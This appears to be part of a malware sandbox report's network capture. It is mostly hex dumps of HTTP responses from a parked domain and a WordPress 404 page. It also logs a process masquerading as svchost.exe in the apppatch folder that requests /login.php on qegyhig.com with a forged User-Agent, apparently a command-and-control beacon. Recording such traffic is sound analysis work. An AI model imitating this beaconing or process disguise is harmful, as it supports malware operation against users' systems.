                                                                                                                                                                                                          Server: awselb/2.0
                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                          X-Powered-By: Next.js
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          2024-11-11 17:14:53 UTC2372INData Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 70 75 62 6c 69 63 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 31
                                                                                                                                                                                                          Data Ascii: 8000<!DOCTYPE html><html lang="en-US"><head><meta charSet="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="https://d15wejze7d2tlj.cloudfront.net/v1/public/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="https://d1
                                                                                                                                                                                                          2024-11-11 17:14:53 UTC1724INData Raw: 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 31 35 35 61 35 35 36 2d 37 32 37 37 64 32 30 35 62 33 61 39 36 64 64 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 62 37 37 39 62 62 35 65 2d 65 33 34 61 63 36 66 32 62 33 32 65 65 39 62 31 2e 6a 73 22 20 64 65 66 65 72 3d 22 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 64 31 35 77 65 6a 7a 65 37 64 32 74 6c 6a 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 76 31 2f 5f 6e 65 78 74 2f 73 74 61 74 69 63 2f
                                                                                                                                                                                                          Data Ascii: ext/static/chunks/b155a556-7277d205b3a96dd1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/chunks/b779bb5e-e34ac6f2b32ee9b1.js" defer=""></script><script src="https://d15wejze7d2tlj.cloudfront.net/v1/_next/static/
                                                                                                                                                                                                          2024-11-11 17:14:53 UTC4744INData Raw: 78 2d 63 6f 6c 20 67 61 70 2d 32 20 6d 62 2d 36 22 3e 3c 68 32 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 78 6c 20 66 6f 6e 74 2d 62 6f 6c 64 20 73 6d 3a 74 65 78 74 2d 32 78 6c 22 3e 49 6e 71 75 69 72 65 20 74 6f 64 61 79 20 74 6f 20 73 65 63 75 72 65 20 74 68 69 73 20 64 6f 6d 61 69 6e 3c 2f 68 32 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 49 6e 74 65 72 20 74 65 78 74 2d 73 6d 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 73 6d 3a 74 65 78 74 2d 62 61 73 65 22 3e 50 6c 65 61 73 65 20 63 6f 6d 70 6c 65 74 65 20 74 68 65 20 66 6f 72 6d 20 62 65 6c 6f 77 20 61 6e 64 20 77 65 20 77 69 6c 6c 20 63 6f 6e 6e 65 63 74 20 79 6f 75 20 77 69 74 68 20 6f 6e 65 20 6f 66 20 6f 75 72 20 64 6f 6d 61 69 6e 20 65 78 70 65 72 74 73 2e
                                                                                                                                                                                                          Data Ascii: x-col gap-2 mb-6"><h2 class="font-Inter text-xl font-bold sm:text-2xl">Inquire today to secure this domain</h2><span class="font-Inter text-sm font-normal sm:text-base">Please complete the form below and we will connect you with one of our domain experts.
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC5930INData Raw: 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 44 45 22 3e 44 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 34 39 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 50 45 22 3e 50 45 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 31 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 4d 58 22 3e 4d 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 32 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 55 22 3e 43 55 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 35 33 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e
                                                                                                                                                                                                          Data Ascii: -- -->)</option><option value="DE">DE... --> (+... -->49... -->)</option><option value="PE">PE... --> (+... -->51... -->)</option><option value="MX">MX... --> (+... -->52... -->)</option><option value="CU">CU... --> (+... -->53... -->)</option
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC7116INData Raw: 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 36 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 43 59 22 3e 43 59 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 37 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 41 58 22 3e 41 58 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 46 49 22 3e 46 49 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20 2d 2d 3e 33 35 38 3c 21 2d 2d 20 2d 2d 3e 29 3c 2f 6f 70 74 69 6f 6e 3e 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 22 42 47 22 3e 42 47 3c 21 2d 2d 20 2d 2d 3e 20 28 2b 3c 21 2d 2d 20
                                                                                                                                                                                                          Data Ascii: --> (+... -->356... -->)</option><option value="CY">CY... --> (+... -->357... -->)</option><option value="AX">AX... --> (+... -->358... -->)</option><option value="FI">FI... --> (+... -->358... -->)</option><option value="BG">BG... --> (+...
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC8302INData Raw: 69 63 65 2d 72 65 71 75 65 73 74 2d 66 6f 72 6d 2d 69 64 22 20 74 69 74 6c 65 3d 22 47 65 74 20 70 72 69 63 65 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 6c 61 62 65 6c 3d 22 47 65 74 20 70 72 69 63 65 22 20 65 6e 64 49 63 6f 6e 3d 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 6a 75 73 74 69 66 79 2d 63 65 6e 74 65 72 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 31 2e 35 20 6d 78 2d 61 75 74 6f 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6c 65 78 20 69 74 65 6d 73 2d 63 65 6e 74 65 72 20 67 61 70 2d 32 22 3e 47 65 74 20 70 72 69 63 65 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20
                                                                                                                                                                                                          Data Ascii: ice-request-form-id" title="Get price" aria-label="Get price" label="Get price" endIcon="[object Object]"><span class="flex justify-center items-center gap-1.5 mx-auto"><div class="flex items-center gap-2">Get price<svg xmlns="http://www.w3.org/2000/svg"
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC2586INData Raw: 30 2e 33 76 2e 30 36 37 68 2d 2e 31 33 36 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 56 2e 37 36 48 39 2e 39 36 76 2e 30 36 38 68 2d 2e 31 33 36 76 2e 30 36 37 68 2d 2e 30 36 38 76 2e 30 36 38 48 39 2e 36 39 76 2e 30 36 38 48 39 2e 36 32 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 31 33 35 76 2e 30 36 37 48 39 2e 33 35 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 39 2e 30 38 76 2e 30 36 38 48 39 2e 30 31 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 37 76 2e 30 36 37 48 38 2e 37 34 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 38 68 2d 2e 30 36 38 76 2e 30 36 37 48 38
                                                                                                                                                                                                          Data Ascii: 0.3v.067h-.136v.068h-.068v.068h-.067V.76H9.96v.068h-.136v.067h-.068v.068H9.69v.068H9.62v.068h-.068v.068h-.135v.067H9.35v.068h-.068v.068h-.068v.068h-.068v.067H9.08v.068H9.01v.068h-.068v.068h-.068v.068h-.067v.067H8.74v.068h-.068v.068h-.068v.068h-.068v.067H8
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC2INData Raw: 0d 0a
                                                                                                                                                                                                          Data Ascii:
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC4096INData Raw: 36 38 38 31 0d 0a 65 6e 74 43 6f 6c 6f 72 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 39 2e 36 37 20 34 2e 34 37 34 68 2d 33 2e 39 34 36 76 31 31 2e 32 38 37 68 33 2e 39 34 35 63 33 2e 36 30 36 20 30 20 35 2e 39 35 2d 32 2e 32 31 35 20 35 2e 39 35 2d 35 2e 36 32 37 20 30 2d 33 2e 34 32 39 2d 32 2e 33 34 34 2d 35 2e 36 36 2d 35 2e 39 35 2d 35 2e 36 36 6d 2d 31 2e 36 38 33 20 39 2e 33 36 32 56 36 2e 33 38 32 68 31 2e 36 30 31 63 32 2e 33 37 38 20 30 20 33 2e 37 32 20 31 2e 34 30 37 20 33 2e 37 32 20 33 2e 37 35 32 73 2d 31 2e 33 34 32 20 33 2e 37 30 32 2d 33 2e 37 32 20 33 2e 37 30 32 7a 6d 31 37 2e 39 38 32 2d 32 2e 35 35 34 63 30 2d 32 2e 38 33 2d 32 2e 30 32 32 2d 34 2e 36 32 35 2d 34 2e 36 30 39 2d 34 2e 36 32 35 73
                                                                                                                                                                                                          Data Ascii: 6881entColor" fill-rule="evenodd" d="M29.67 4.474h-3.946v11.287h3.945c3.606 0 5.95-2.215 5.95-5.627 0-3.429-2.344-5.66-5.95-5.66m-1.683 9.362V6.382h1.601c2.378 0 3.72 1.407 3.72 3.752s-1.342 3.702-3.72 3.702zm17.982-2.554c0-2.83-2.022-4.625-4.609-4.625s
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC13046INData Raw: 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 35 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 31 33 36 76 2d 2e 31 33 35 68 2d 2e 30 36 37 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 31 33 35 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 38 76 2d 2e 30 36 38 68 2d 2e 30 36 37 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 30 36 37 68 2d 2e 30 36 38 76 2d 2e 31 33 36 68 2d 2e 30 36 38 76 2d 2e 31 33 36
                                                                                                                                                                                                          Data Ascii: 068h-.068v-.068h-.135v-.068h-.136v-.068h-.136v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.068v-.067h-.067v-.068h-.068v-.068h-.068v-.068h-.136v-.135h-.067v-.068h-.068v-.068h-.068v-.135h-.068v-.068h-.068v-.068h-.067v-.136h-.068v-.067h-.068v-.136h-.068v-.136


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          14192.168.2.664574188.114.97.34434888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          2024-11-11 17:14:54 UTC267OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC953INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:14:55 GMT
                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                          expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                          Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                          link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L9quUcSnzFdcUmfd2mbO63LzbjtdwP%2FA%2BNFIUy53owkibGaTEiYWGwWpW1wmV5i%2BLjQfUlzFIuRXTIGMEtgm7ZHPHx%2Bh3%2FiLHwVuf6iJKK%2FzhE2n4v6PKFswIyMjQg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0febd8e9074207-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1334&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2824&recv_bytes=881&delivery_rate=2212375&cwnd=251&unsent_bytes=0&cid=b4829b0539e980e1&ts=960&x=0"
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC416INData Raw: 37 63 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e
                                                                                                                                                                                                          Data Ascii: 7ca4<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20
                                                                                                                                                                                                          Data Ascii: </style><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 6e 63 74 69 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e
                                                                                                                                                                                                          Data Ascii: nction c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.can
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f
                                                                                                                                                                                                          Data Ascii: ined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSO
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 29 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69
                                                                                                                                                                                                          Data Ascii: ).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minifi
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 73 69 74 65 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f
                                                                                                                                                                                                          Data Ascii: site-description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;fo
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 5d 3a 3a 2d 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d
                                                                                                                                                                                                          Data Ascii: ]::-webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-
                                                                                                                                                                                                          2024-11-11 17:14:55 UTC1369INData Raw: 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74
                                                                                                                                                                                                          Data Ascii: ontent .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .ent
